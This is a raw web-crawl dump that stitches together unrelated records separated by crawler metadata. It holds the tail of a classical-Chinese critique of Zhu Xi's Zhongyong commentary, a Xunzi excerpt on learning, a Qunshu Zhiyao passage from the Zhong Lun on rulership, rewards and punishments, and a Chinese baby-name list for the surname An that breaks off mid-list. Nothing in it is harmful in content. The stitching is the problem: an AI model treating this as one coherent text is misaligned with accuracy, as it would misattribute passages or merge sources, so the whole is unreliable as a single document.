解也。是其有所短。必有所長。有所長。亦必有所短。俗儒殉名。心口相違。其不歸於朱門容悅之臣者鮮矣。凡註者。所以通經也。經者。所以明理也。經有所不通。理有所不明。安得不敷辨疑滯。擇善以求中乎。此非敢好新逞奇將多于前人。乃不欲從俗依㨾苟同而爲佞也。\n夫類聚與分屬。皆非古也。著書。喜類聚而好逕欲速之弊作。解經。務分屬而記誦訓詁之學興。是以其書非不備也。其言非不善也。其嘉惠後學。非不明且切也。但上有好焉。下必甚焉。理之常也。七十子喪而大義乖。舍本而趍末。輕內而重外。著書愈多而實得无聞。談理愈精而心界日荒。則類聚分屬之法。不能不啓其弊也。故曰小學不如六經。近思不如四書。分章屬句。擺布支節。從事於文法之末。不如隨處體認。有聞必行。用力於身心之本也。丙戌之冬。余在京第。取中庸集註。晨夕諷誦。其分門析節。巨細畢擧。使聖賢傳授之意。燦然如繩貫棋局之不亂。則洋洋乎優優乎非諸子之可企及也。惟其或若近於偏於密傷於巧者。則玆不能無疑。以質諸同志焉。\n首章註。以天地位爲致中之效。育萬物爲致和之驗。夫至靜無偏。獨非育萬物之本乎。應物無差。獨非位天地之功乎。此其本末相須。始終相因。分而二之。理宜不然。且如是分屬。非不成說。惟無補於經訓。無益於後學而適足以啓訓詁之弊。則寧踈而無密。寧拙而毋巧。不亦可乎。\n二章至十章。乃雜引夫子之言。以明中庸之義。文雖不屬而意實相承。註說誠然矣。但三德分章。上下承起。節節照應。古人忠厚眞率。其爲文。恐不應若是之巧也。\n九章所以讚中庸之不可能而非一節可比。但其分屬三德。如蹈白刃之爲勇則然矣。均天下之爲知。辭爵祿之爲仁。終爲牽强。\n十三章章下註。以道不遠人。爲夫婦所能則然矣。以某未能一。爲聖人所不能則恐可疑。盖聖人之心。謙謙自抑。固未嘗謂已能。而豈可以此而遂謂之眞不能耶。四者。人倫之常。忠恕之事而不遠人之道也。若以此爲聖人所不能。則人將何所求而爲道。何所修而爲學耶。\n二十章生知章註云云。夫三知者。知之有三等也。三行者。行之有三等也。所以明聖有天成。而才高者。可學而至。質魯者。亦不可自畫也。盖生知安行而不已不息者。聖人之三德也。學知利行而能擇能守者。賢者之三德也。困知勉行而勤勵自强者。學者之三德也。是以人有三等而德亦有三等。生也學也困也。知之三等也。安也利也勉强也。仁之三等也。不已不息也。能擇能守也。勤勵自强也。勇之三等也。今乃以生知安行爲知。學知利行爲仁。夫生知知也。安行亦知乎。利行仁也。學知亦仁乎。大舜之知。顔淵之仁。子路之勇。夫子曾有言而子思引以明中庸三德。而非有三德之中自有等級。果如三聖賢高下有別耶。在經無補。後學無益。有此分屬。徒增疑晦。\n二十一章天道人道之分屬。亦恐未必盡然。由人道而至於能化。則是亦天道也。前知之至誠。旣承上章而言。則何必偏屬天道耶。二十五章時措之宜。則亦天道也。二十七章上段言天道。下段言人道。則俱不可專屬人道也。盖二十一章以下。皆所以讚聖道之大而立天下之準。言修省之方而示學者之功。其言或大或小。或淺或深。沛然若行其所無事。今乃分裂間架。節節排定。使讀之者玩心枝葉。意不圓活。是不可曉也。\n二十七章以尊德性道問學。爲修德凝道之大段。則然矣。其言極道體之大。盡道體之細云者。恐不必若是分屬。夫尊德性行也。道問學知也。夫婦所能。行之細也。聰明睿智。知之大也。分知行屬細大。不惟古無是言。事理斷不如是。不知先生何所據而爲此解也。其下四句之分屬。尤近牽合。况其溫故之爲存心。崇禮之爲致知。雖欲曲爲之解。終恐說不去也。\n三十章不害不悖屬小德。並育並行屬大德。亦可疑。夫並育不害。幷行不悖。只是一事。各就其中。分而言之爲小德。合而言之爲大德。不可分上段專分屬大德。分下段專屬小德也。\n三十一二兩章。只是讚聖人之德。未必分言小德大德。其分屬旣無意義。且聰明睿智等五句。宜其爲小德而如天如淵。獨非大德乎。立本知化。固是大德。而經綸大經。獨非小德乎。\n肫肫章之分屬。亦恐未必然。\n分屬之可疑旣如右。而其大義所係。亦有一二疑晦。又後人之誤解。反累於集註。僭以條陳焉。\n十章上言抑而强與。下言而强者居之。則袵金革。死而不厭。卽子路之强也。上言君子居之。下言君子和而不流。則四者之强。卽南方之强也。此其首尾照應一串貫來。恐不可分而二之也。妄意寬柔以敎者。溫柔有容誨人不倦之意。不報無道者。犯而不校。反求諸己之謂中正之道。未嘗不如是。恐不必偏歸之柔弱之風氣也。盖袵金革死而不厭者。暴虎憑河之勇。北鄙殺伐之風而子路行行之氣象也。末章始極言南方之强君子之道而讚美之。以勉子路所以救其失而納諸道也。亦何必兩屬偏氣。別求中土之氣然後爲君子之中也。\n十二章首言費隱。而此章以下至十九章所言者。皆費也。惟隱之所以爲隱則不復槩見。是以集註補之曰。其理之所以然則隱而莫之見也。文旣缺陷。理亦欠闕。恐甚可疑。妄意可知可能者隱也。隱者。微也小也。聖人之不知不能與天地之所憾者。費也。費者廣也大也。所謂語大語小者。所以重釋費隱之義。其曰造端乎夫婦者。隱也。其曰察乎天地者。費也。所以申言君子之道而結章首費隱二字之義也。盖合而言。其廣且大則曰費也。分而言。其微且小則曰隱也。其言之異。在於分合而不在於體用也。\n十三章忠恕違道一段。集註甚明白。後人汩於小註。乃以道爲聖人之道而忠恕爲學者之事。言自忠恕去道爲不遠。此恐大誤。此章大義。所以明道不遠人也。是以苟循理而無違。起居坐立。無非道也。况忠恕是德行之大端。猶不足謂之道。則道之遠人。亦甚矣。試以集註考之。盖曰於忠恕觀之。道不遠人可見云爾。其曰以己之心度人之心者。忠恕也。道之不遠於人者可見者。違道不遠矣。\n十六章註。程子曰鬼神者造化之跡。夫卽跡而見鬼神之功用則可。以迹而直謂之鬼神。則恐亦未安。\n天曰神。地曰祗。人曰鬼。其實一也。人生曰精神。死曰魂魄。其實亦一也。是以萬物之合散者。神祗之功用。而各歸之萬物之靈能。亦可也。應物之無窮者。精神之靈能。而統歸之天地之功用。亦可矣。\n鬼神者。二氣之靈能也。其非理也明矣。乃云不見不聞。隱也。體物如在則亦費矣。是以理言鬼神也。此最不可曉。\n三十三章不顯。借以爲幽深玄遠之意者。恐亦傷巧。苟如是則下文明德之明。亦將以不明解之然後爲可乎。\n無聲無臭者。卽天何言哉之意。聖人則之。則恭己正南面。垂拱而天下治也。集註之意甚明白。讀之者只以程子末復合爲一理之語。朱子無極之解而遂以此爲形容道體。甚無謂。詳考之可見。\n중용문의[편집]","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/ko.wikisource.org\/wiki\/%EB%8B%B4%ED%97%8C%EC%84%9C\/%EB%82%B4%EC%A7%91_1%EA%B6%8C\/%EC%82%AC%EC%84%9C%EB%AC%B8%EB%B3%80","date":"2021-07-24T12:09:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046150264.90\/warc\/CC-MAIN-20210724094631-20210724124631-00269.warc.gz","language":"lzh","language_score":0.4224692881,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.42246928811073303, \"cmn_Hani_score\": 0.3651295006275177, \"nan_Hani_score\": 0.07182419300079346, \"jpn_Jpan_score\": 0.05462554097175598, \"wuu_Hani_score\": 0.043197937309741974, \"yue_Hani_score\": 0.016086596995592117}","num_words":175,"character_repetition_ratio":0.001,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.423,"perplexity_score":500.0,"cluster_detection":1} +{"text":"節錄內文\n勸學篇第一\n君子曰:學不可以已。青,取之於藍,而青於藍;冰,水為之,而寒於水。木直中繩,輮以為輪,其曲中規,雖有槁暴,不復挺者,輮使之然也。故木受繩則直,金就礪則利,君子博學而日參省乎己,則知明而行無過矣。故不登高山,不知天之高也;不臨深谿,不知地之厚也;不聞先王之遺言,不知學問之大也。干越夷貉之子,生而同聲,長而異俗,教使之然也。詩曰:「嗟爾君子,無恆安息。靖共爾位,好是正直。神之聽之,介爾景福。」神莫大於化道,福莫長於無禍。\n吾嘗終日而思矣,不如須臾之所學也。吾嘗跂而望矣,不如登高之博見也。登高而招,臂非加長也,而見者遠;順風而呼,聲非加疾也,而聞者彰。假輿馬者,非利足也,而致千里;假舟檝者,非能水也,而絕江河。君子生非異也,善假於物也。","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/ucckehk.ebook.hyread.com.tw\/bookDetail.jsp?id=21583","date":"2024-04-22T08:55:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296818105.48\/warc\/CC-MAIN-20240422082202-20240422112202-00087.warc.gz","language":"lzh","language_score":0.6189084053,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.6189084053039551, \"cmn_Hani_score\": 0.24211260676383972, \"nan_Hani_score\": 0.1205994114279747}","num_words":4,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.185,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.601,"perplexity_score":500.0,"cluster_detection":1} +{"text":"中 論\n群書治要卷四十六\n慌其瞻視。輕其辭令。而望民之則我者。未之有也。莫之則者。必慢之者至矣。小人見慢而致怨乎人。患己之卑而不思其所以然。哀哉。是故君子敬孤獨而慎幽微。雖在隱翳。鬼神不得見其隙。况於游宴乎。君子口無戲謔之言。言必有防。身無戲謔之行。行必有檢。言必有防。行必有檢。雖妻妾不可得而黷也。雖朋友不可得而狎也。是以不愠怒而教行於閨門。不諫諭而風聲化乎鄉黨。傳稱大人正己而物正者。蓋此之謂也。徒以匹夫之居猶然。况得志而行於天下乎。故唐帝允恭克讓。光被四表。成湯不敢怠遑而掩有九域。文王只畏而造彼區夏也。\n民心莫不有治道。至於用之。則异矣。或用乎人。或用乎己。用乎己者謂之務本。用乎人者謂之追末。君子之治之也。先務其本。故德建而怨寡。小人之治之也。先追其末。故功廢而讎多。夫見人而不自見者謂之矇。聞人而不自聞者謂之聵。慮人而不自慮者謂之瞀。故明莫大於自見。聰莫大於自聞。睿莫大於自慮。此三者。舉之甚輕。行之甚邇。而人莫之知也。故知者舉甚輕之事以任天下之重。行甚邇之路以窮天下之遠。故位(位作德)彌高。基彌固。勝彌衆。受(受作愛)彌廣。君子之於己也。無事而不懼焉。我之有善。懼人之未吾好也。我之有不善。懼人之必吾惡也。見人之善。懼我之不能修也。見人之不善。懼我之必若彼也。故君子不恤年之將衰。而憂志之有倦。不寢道焉。不宿義焉。言而不行。斯寢道矣。行而不時。斯宿義矣。是故君子之務以行前言也。民之過。在於哀死而不愛生。悔往而不慎來。善語乎已然。好争乎遂事。墮(墮下有於字)今日而懈於後旬。如斯以及於老。故孔子撫其心(撫其心作謂子張)曰。師。吾欲聞彼。將以改此也。聞彼而不以改此。雖聞何益。小人朝爲而夕求其成。坐施而立望其及(及作反)。行一日之善。而問終身之譽。譽不至。則曰善無益矣。遂疑聖人之言。背先王之教。存其舊術。順其常好是以身辱名賤。而永爲人役也。\n人之爲德。其猶器歟。器虚則物注。滿則止焉。故君子常虚其心志。恭其容貌。不以逸群之才加乎衆人之上。視彼猶賢。自視猶不肖也。故人願告之而不厭。誨之而不倦。君子之於善道也。大則大識之。小則小識之。善無大小。咸載於心。然後舉而行之。我之所有。既不可奪。而我之所無。又取於人。是以功常前人而人後之也。故夫才敏過人。未足貴也。博辨過人。未足貴也。勇决過人。未足貴也。君子之所貴者遷善懼其不及。改惡恐其有餘。故孔子曰。顔氏之子。其殆庶幾乎。有不善未嘗不知。知之未嘗復行。夫惡猶疾也。攻之則日益悛。不攻則日甚。故君子之相求也。非特與善也。將以攻惡也。惡不廢則善不興。自然之道也。先民有言。人之所難者二。樂知(知作攻)其惡者難。以惡告人者難。夫唯君子。然後能爲己之所難。能致人之所難也。夫酒食人之所愛也。而人相見莫不進焉。不吝於所愛者。以彼之嗜之也。使嗜忠言甚於酒食。人豈其愛之乎。故忠言之不出。以未有(未有舊作未良。改之)嗜之者也。詩云。匪言不能。胡其畏忌。\n目也者。遠察天際而不能近見其眦。心亦如之。君子誠知心之似目也。是以務鑒於人以觀得失。故視不過垣牆之裏。而見邦國之表。聽不過閾耎之内。而聞千里之外。因人之耳目也。人之耳目盡爲我用。則我之聰明無敵於天下矣。是謂人一之。我萬之。人塞之。我通之。故其高不可爲員。其廣不可爲方。\n先王之禮。左史記事。右史記言。師瞽誦詩。庶僚箴誨。器用載銘。筵席書戒。月考其爲。歲會其行。所以自供正也。昔衞武公年過九十。猶夙夜不怠。思聞訓道。命其群臣曰。無謂我老耄而舍我。必朝夕交戒我。凡興國之君。未有不然者也。下愚反此道。以爲己既仁矣。知矣。神明矣。何求乎衆人。是以辜罪昭著。腥德發聞。百姓傷心。鬼神怨痛。若有告之者。則曰。斯事也。徒生乎予心。出乎子口。於是刑焉。戮焉。辱焉。不然。則曰。與我异德故也。未達我道故也。又安足責。是己之非。遂初之謬。至於身危國亡。可痛矣已(矣已疑倒)。\n事莫貴乎有驗。言莫弃乎無徵。言之未有益也。不言未有損也。水之寒也。火之熱也。金石之堅剛也。彼數物未嘗有言。而人莫不知其然者。信著乎其體也。使吾所行之信若彼數物。誰其疑我哉。今不信吾所行。而怨人之不信己。猶教人執鬼縛魅。而怨人之不得也。惑亦甚矣。孔子曰。欲人之信己。則微言而篤行之。篤行之。則用日久。用日久。則事著明。事著明。則有目者莫不見也。有耳者莫不聞也。其可誣乎。故根深而枝葉茂。行久而名譽遠。\n人情也莫不惡謗。而卒不免乎謗。其故何也。非愛智力而不已之也。已之之術反也。謗之爲名也。逃之而愈至。拒之而愈來。訟之而愈多。明乎此。則君子不足爲也。暗乎此。則小人不足得也。帝舜屢省。禹拜昌言。明乎此者也。厲王加戮。吴起刺之。暗乎此者也。夫人也。皆書名前策。著行列圖。或爲世法。或爲世戒。可不慎歟。\n夫聞過而不改。謂之喪心。思過而不改。謂之失體。失體喪心之人。禍亂之所及也。君子舍旃 。君子不友不如己者。非羞彼而大我也。不如己者須己慎(慎作植)者也。然則扶人不暇。將誰相我哉。吾之僨也。亦無日矣。故墳庳則水縱。友邪則己僻。是以君子慎所友。孔子曰。居而得賢友。福之次也。夫賢者言足聽。貌足象。行足法。加乎(乎疑之誤)善奬人之美。而好攝人之過。其不隱也如影。其不諱也如響。故我之憚之。若嚴君在堂。而神明處室矣。雖欲爲不善。其敢乎。\n夫利口者。心足以見小數。言足以盡巧。辭給足以應切問。難足以斷俗疑。然而好説不倦。諜諜如也。夫類族辨物之士者寡。而愚暗不達之人者多。孰知其非乎。此其所以無用而不見廢也。至賤而不見遺也。先王之法。析言破律。亂名改作。行僻而堅。言僞而辨者。殺之。爲其疑衆惑民而澆亂至道也。\n古之制爵禄也。爵以居有德。禄以養有功。功大者其禄厚。德遠者其爵尊。功小者其禄薄。德近者其爵卑。是故觀其爵則别其人之德。見其禄則知其人之功。不待問之也。古之君子貴爵禄者。蓋以此也。爵禄者。先王所重也。爵禄之賤也。由處之者不宜也。賤其人。斯賤其位矣。其貴也。由處之者宜之也。貴其人。斯貴其位矣。黻衣繡裳。君子之所服。愛其德。故美其服也。暴亂之君。非無此服。民弗美也。\n位也者。立德之機也。勢也者。行義之杼也。聖人蹈機握杼。織成天地之化。使萬物順焉。人倫正焉。六合之内。各充其願。其爲大寶。不亦宜乎。夫登高而建旌。則所示者廣矣。順風而奮鐸。則所聞者遠矣。非旌色之益明。非鐸聲之益長 。所托者然也。况居富貴之地而行其政令者也。\n人君之大患也。莫大乎詳於小事而略於大道。察於近物而暗於遠數。自古及今。未有如此而不亡也。詳於小事。察於近物者。謂耳聽於絲竹歌謡之和。目明乎雕琢采色之章。口給乎辨慧切對之辭。心通乎短言小説之文。手習乎射御書數之功。體比乎俯仰般旋之容。凡此數者。觀之足以盡人之心。學之足以勤(勸作動)人之思(思作志)。且先王之末教也。非有小才智。則亦不能爲也。是故能之者莫不自悦乎其事。而無取於人。皆以(皆以作以人皆三字)不能故也。\n夫君居南面之尊。秉殺生之權者。其勢固足以勝人矣。而加之以勝人之能。懷足己之心。誰敢犯之者乎。以匹夫行之。猶莫敢規也。而况於人君哉。故罪惡若山而己不見。謗聲若雷而己不聞。豈不甚乎。\n夫小事者味甘。而大道者醇淡。而近物者易驗。而遠數者難效。非大明君子則不能兼通也。故皆惑於所甘而不能至乎所淡。眩於所易而不能及於所難。是以治君世寡而亂君世多也。故人君之所務者。其在大道遠數乎。大道遠數者。謂仁足以覆燾群生。惠足以撫養百姓。明足以照見四方。智足以統理萬物。權足以應變無端。義足以阜生財用。威足以禁遏奸非。武足以平定禍亂。詳於聽受而審於官人。達於廢興之源。通於安危之分。如此。則君道畢矣。\n今使人君視如離婁。聽如師曠。御如王良。射如夷羿。書如史籀。計如隸首。走追駟馬。力折門鍵。有此六者。可謂善於有司之職。何益於治乎。無此六者。可謂乏於有司之職。何增於亂乎。必以廢仁義。妨道德矣。何則。小器不能兼容。治亂又不繫於此。而中才之人所好也。昔潞豐舒。晋智伯瑤之亡。皆怙其三材。恃其五賢。而以不仁之故也。故人君多伎藝。好小智。而不通於大道者。衹足以拒諫者之説而鉗忠直之口也。衹足以追亡國之迹而背安家之軌也。不其然耶。不其然耶。\n帝者昧旦而視朝。南面而聽天下。將與誰爲之。豈非群公卿士歟。故大臣不可以不得其人也。大臣者。君股肱耳目也。所以視聽也。所以行事也。先王知其如是。故博求聰明睿哲君子措諸上位。使執邦之政令焉。執政聰明睿哲。則其事舉。其事舉。則百僚莫不任其職。百僚莫不任其職。則庶事莫不致其治。庶事莫不致其治。則九牧之人莫不得其所。故書曰。元首明哉。股肱良哉。庶事康哉。\n凡亡國之君。其朝未嘗無致治之臣也。其府未嘗無先王之書也。然而不免乎亡者。何也。其賢不用。其法不行也。苟書法而不行其事。爵賢而不用其道。則法無於异路説。而賢無异於木主也。\n昔桀奔南巢。紂踣於京。厲流於彘。幽滅於戲。當是時也。三后之典尚在。而良谋之臣猶存也。下及春秋之世。楚有伍舉。左史倚相。右尹子革。而靈王喪師。衞有大叔儀。公子鱄。蘧伯玉。而獻公出奔。晋有趙宣孟。范武子。而靈公被弒。魯有子家羈。叔孫婼。而昭公野死。齊有晏平仲。南史氏。而莊公不免弒。虞。虢有宫之奇。舟之僑。而二公絶祀。由是觀之。 苟不用賢。雖有無益也。然彼亦知有馬必待乘之然後遠行。有醫必待使之而後愈疾。至於有賢。則不知必待用之而後興治也。且六國之君。雖不用賢。及其致人也。猶修禮盡意。不敢侮慢也。\n至於王莽。既不能用。及其致之也。尚不能言。莽之爲人。内實奸邪。外慕古義。亦聘求名儒。徵命術士。政煩教虐。無以致之。於是脅之以峻刑。威之以重戮。賢者恐懼。莫敢不至。徒張設虚名以夸海内。莽亦卒以滅亡。且莽之爵人也。其實囚之也。囚人者。非必著桎梏。置之囹圄之謂也。拘繫之。愁憂之之謂也。使在朝之人欲進。則不得陳其謀。欲退。則不得安其身。是則以綸組爲繩索。以印佩爲鉗釱也。小人雖樂之。君子則君子則(舊則作君子情。)以爲辱矣。\n故明主之得賢也。得其心也。非謂得其軀也。苟得其軀而不論其心。斯與籠鳥檻獸未有异也。則賢者之於我也。亦猶怨讎。豈爲我用哉。日雖(日雖作雖曰)班萬鍾之禄。將何益歟。故苟得其心。萬里猶近。苟失其心。同衾爲遠。今不修所以得賢者之心。而務修所以執賢者之身。至於社稷顛覆。宗廟廢絶。豈不哀哉。\n孫子曰。人主之患。不在於言不用賢。而在於誠不用賢。言用賢者。口也。却賢者。行也。口行反而欲賢者之進。不肖之退。不亦難乎。善哉。言也。故人君苟修其道義。昭其德音。慎其威儀。審其教令。刑無頗類(類作僻)。惠澤播流。百宫樂職。萬民得所。則賢者仰之如天地。愛之如其親(其親作親戚)。樂之如塤篪。歆之如蘭芳。故其歸我也。猶决壅導滯。注之大壑。何不至之有乎。\n苟粗穢暴虐。香馨不登。讒邪在側。殺戮不辜。宫館崇侈。妻妾無度。淫樂日縱。征税繁多。財不匱竭。怨喪(怨喪作死莩)盈野。矜己自得。諫者被誅。外内震騷。遠近怨悲。則賢者之視我容貌如蝄蜽。臺殿如狴牢。采服如衰絰。歌樂如號哭。酒醴如潃滌。肴饌如糞土。衆事舉措。每無一善。彼之惡我也如是。其肯至哉。\n今不務明其義。而徒設其禄。可以獲小人。難以得君子。君子者。行不苟合。立不易方。不以天下枉道。不以樂生害仁。安可以禄誘哉。雖强縛執之而不獲已。亦杜口佯愚。苟免不暇。國之安危將何賴(賴下有焉字)。\n政之大網有二。賞罰之謂也。人君明乎賞罰之道。則治不難矣。賞罰者。不在於必重。而在於必行。必行則雖不重而民肅。必不行也。則雖重而民怠。故先王務賞罰之必行也。夫當賞者不賞。則爲善者失其本望。而疑其所行。當罰者不罰。則爲惡者輕其國法。而怙其所守。苟如是也。雖日用斧鉞於市。而民不去惡矣。日賜爵禄於朝。而民不興善矣。是以聖人不敢以親戚之恩而廢刑罰。不敢以怨讎之忿而留慶賞。夫何故哉。將以有救也。故司馬法曰。賞罰不逾時。欲使民速見善惡之報也。逾時且猶不可。而况廢之者乎。賞罰不可以疏。亦不可以數。數則所及者多。疏則所漏者多。賞罰不可以重。亦不可以輕。賞輕則不勸(不勸上有民字)。罰輕則不懼(不懼上有民字)。賞重則民僥幸。罰重則民無聊。故先王明恕以聽之。思中以平之。而不失其節也。夫賞罰之於萬人。猶轡策之於駟馬也。轡策之不調。非徒遲速之分也。至於覆車而摧轅。賞罰之不明。非徒治亂之分也。至於滅國而喪身。可不慎乎。可不慎乎。\n天地之間。含氣而生者。莫知乎人。人情之至痛。莫過乎喪親。夫創巨者其日久。痛甚者其愈遲。故聖王制三年之服。所以禮記所以二字在下立文下。稱情而立文。爲至痛極也。自天子至於庶人。莫不由之。帝王相傳。未有知其所從來者。及孝文皇帝天姿謙讓。務崇簡易。其將弃萬國。乃顧臣子。令勿行久喪。已葬則除之。將以省煩勞而寬群下也。觀其詔文。唯欲施乎己而已。非爲漢室創制喪禮而傳之於來世也。後人遂奉而行焉。莫之分理。至乎顯宗。聖德欽明。深照孝文一時之制。又惟先王之禮。不可以久違。是以世祖徂崩。則斬衰三年。孝明既没。朝之大臣徒以己之私意。 忖度嗣君之必貪速除也。檢之以大宗遺詔。不惟孝子之心。哀慕未歇。故令聖王之迹。陵遲而莫遵。短喪之制。遂行而不除。斯誠可悼之甚者也。滕文公。小國之君耳。加之生周之末世。禮教不行。猶能改前之失。咨問於孟軻。而服喪三年。豈况大漢配天之主。而廢三年之喪。豈不惜哉。且作法於仁。其弊猶薄。道隆於己。歷世則廢。况以不仁之作。宣之於海内。而望家有慈孝。民德歸厚。不亦難乎。詩曰。爾之教矣。民胥放矣。聖主若以游宴之間。超然遠思。覽周公之舊章。咨顯宗之故事。感蓼莪之篤行。惡素冠之所刺。發復古之德音。改大宗之權令。事行之後。永爲典式。傳示萬代。不刊之道也。\n昔之聖王制爲禮法。貴有常尊。賤有等差。君子小人。各司分職。故下無潜(潜當作僭)上之愆。而人役財力。能相供足也。往昔海内富民。及工商之家。資財巨萬。役使奴婢。多者以百數。少者以十數。斯豈先王制禮之意哉。夫國有四民。不相干黷。士者勞心。工農商者勞力。勞心之謂君子。勞力之謂小人。君子者治人。小人者治於人。治於人者食人。治人者食於人。百王之達義也。今夫無德而居富之民。宜治於人且食人者也。役使奴婢。不勞筋力。目喻頤指。從容垂拱。雖懷忠信之士。讀聖哲之書。端委執笏。列在朝位者。何以加之。且今之君子。尚多貧匱。家無奴婢。既其有者。不足供事。妻子勤勞。躬自爨烹。其故何也。皆由罔利之人與之競逐。又有紆青拖紫并兼之門使之然也。\n夫物有所盈。則有所縮。聖人知其如此。故裒多益寡。稱物平施。動爲之防。不使過度。是以治可致也。爲國而令廉讓君子不足如此。而使貪人有餘如彼。非所以辨尊卑。等貴賤。賤財利。尚道德也。今太守令長得稱君者。以慶賞刑威咸自己出也。民畜奴婢。或至數百。慶賞刑威。亦自己出。則與郡縣長史又何以异。夫奴婢雖賤。俱含五常。本帝王良民。而使編户小人爲己役。哀窮失所。猶無告訴。豈不枉哉。今自鬥食佐吏以上。至諸侯王。皆治民人者也。宜畜奴婢。農工商及給趨走使令者。皆勞力躬作。治於人者也。宜不得畜。昔孝哀皇帝即位。師丹輔政。建議令畜田宅奴婢者有限。時丁傅用事。董賢貴寵。皆不樂之。事遂廢覆。夫師丹之徒。皆前朝知名大臣。患疾并兼之家。建納忠信。爲國設禁。然爲邪臣所抑。卒不施行。豈况布衣之士。而欲唱議立制。不亦遠乎。","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/www.qunshuzhiyao.com\/zywenku\/zhgj0022078.html","date":"2017-04-24T03:26:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917118963.4\/warc\/CC-MAIN-20170423031158-00522-ip-10-145-167-34.ec2.internal.warc.gz","language":"lzh","language_score":0.5609938502,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5609938502311707, \"cmn_Hani_score\": 0.22098204493522644, \"nan_Hani_score\": 0.07211683690547943, \"jpn_Jpan_score\": 0.03212592378258705, \"wuu_Hani_score\": 0.023440053686499596, \"zxx_Latn_score\": 0.01302812434732914, \"yue_Hani_score\": 0.010748126544058323}","num_words":34,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.029,"flagged_words_ratio":0.0,"lang_id_score":0.561,"perplexity_score":500.0,"cluster_detection":1} +{"text":"安姓起名,安姓起名字大全:百家姓中安姓父母您正在为给您的小宝宝取一个吉祥如意、喻意深远的名字而绞尽脑汁吗?我们在给安姓宝宝起名字时,一定要注意选择那些字义和寓意都很美好的字眼,避免使用一些不雅、不吉、冷僻和容易产生歧义的字。起名网免费取名为您精心准备了安姓起名字大全(安姓男孩起名字大全,安姓女孩起名字大全),供您参考使用,希望能对您起名有所帮助!\n安姓男孩起名字大全\n安宜 安杏民 安薪辰 安家辰 安鑫沉 安莘沉 安馨沉 安合栋 安永利 安宛纾 安婉星 安雅桐 安雅彤 安海眩 安海静 安念痧 安抒迅 安庆平 安风鸣 安林强 安雁 安洪泽 安春暖 安玉超 安振晔 安维辰 安飞旭 安醒尘 安子牛 安美燃 安致铭 安歆辰 安馨辰 安莘辰 安永辉 安文影 安蕙 安权 安晓绢 安晓涓 安楚铭 安鑫梦 安喜频 安珂铎 安宇升 安星泰 安子升 安宇睿 安明睿 安明升 安骏时 安时宇 安十辰 安城鸣 安城铭 安斯然 安纯静 安贞静 安薇静 安若素 安雨乐 安拯华 安玉彬 安钊璋 安钊瑞 安钊珉 安月珍 安麟茗 安麟名 安西允 安麟华 安信远 安钊纬 安帧华 安证华 安福生 安福升 安福笙 安政奇 安政辉 安邦国 安易华 安圣天 安晟天 安盛天 安广明 安政隆 安钊时 安华隆 安久隆 安家邦 安世邦 安国邦 安钱亿 安钊圭 安钱国 安辉祥 安承天 安钊釜 安诚天 安寒澈 安斓漪 安洪音 安淇琛 安涵灏 安程 安海峰 安欣殊 安禹星 安凤山 安唤 安学峰 安永会 安慕霖 安智棋 安玉亮 安重伊 安家骏 安芷海 安芷汛 安芷汐 安松国 安珍然 安颂 安明 安郁亮 安炜 安星丞 安莎 安春伶 安洪典 安为 安训斋 安鸿典 安思晓 安春子 安玄成 安维会 安柏旭 安博焕 安丰在 安俊硕 安痂海 安玉柱 安金良 安礼 安电 安临 安都 安瑾 安同 安招 安伦 安志 安光 安烽 安中直 安智 安天 安忠 安瑜 安连明 安万福 安平豪 安泳霖 安童彤 安芯 安馨 安晓斌 安立勇 安竽 安豫 安欣宇 安振业 安柏睿 安晓旭 安创欣 安乐窝 安茂春 安建辉 安梦春 安全家 安柏成 安笑荟 安雪斐 安雨霏 安芷彤 安芷池 安军戟 安昭旭 安艳云 安海 安珂凝 安金伟 安鑫伟 安在伟 安浩伟 安庆 安唯伟 安昌秀\n您还可以查看更多的安姓男孩起名字大全.\n安姓女孩起名字大全\n安汶娜 安嘉媛 安姿蓉 安克红 安桂霞 安悦甜 安悦洁 安悦媛 安悦瑗 安愉悦 安月媛 安琳心 安睿冉 安宏梅 安智丽 安培红 安春红 安蕊红 安柳红 安宇红 安娅竹 安梓莹 安傲雪 安悦竹 安玖冉 安玖洁 安玖玉 安悦筝 安江莹 安西萍 安希萍 安妞妞 安俊美 安朔瑶 安育霞 安珂冉 安珂婵 安凯丽 安逸婷 安怡霖 安勇丽 安绘颖 安绘莹 安汇莹 安会莹 安会颖 安会瑛 安诲英 安蕙英 安卉英 安汇英 安绘英 安荟英 安会英 安珂怡 安桂琴 安秀帆 安冠颖 安武霞 安振文 安芯媛 安莉涛 安瑶嘉 安宝玲 安雪英 安维玲 安碧玉 安心茹 安秀婧 安玉花 安银霞 安中艳 安春萍 安永芳 安永文 安雨嫣 安子燕 安舞娜 安梦萍 安小雪 安彩娜 安静美 安敬美 安书英 安燕屹 安芬梦 安妍卉 安心颖 安永玉 安梅芳 安翠琴 安慧洁 安浍洁 安婧静 安柳瑶 安素丽 安素莉 安瑜婷 安禹英 安美琴 安邻娥 安蔺娥 安麟娥 安霖娥 安铃娥 安瓴娥 安翎娥 安龄娥 安伶娥 安林娥 安琳娥 安婉娜 安玲娥 安美燕 安怡阳 安萍帅 安慧娜 安博英 安成玉 安瑾怡 安彦蓉 安墨妍 安明茹 安墨茹 安墨冉 安亚梅 安少英 安怡萌 安轶冉 安君倩 安钧倩 安锦倩 安荣花 安文红 安宝婷 安玲璇 安麒文 安瑞花 安钰婷 安昊秀 安起英 安政英 安百娜 安显红 安春蓉 安梅英 安昌琼 安雪蓉 安俐蓉 安恒芳 安娅雯 安泯冉 安洵冉 安汛冉 安秀冉 安佚冉 安译冉 安芬君 安子琼 安民芳 安柯文 安立丽 安二洁 安亚丽 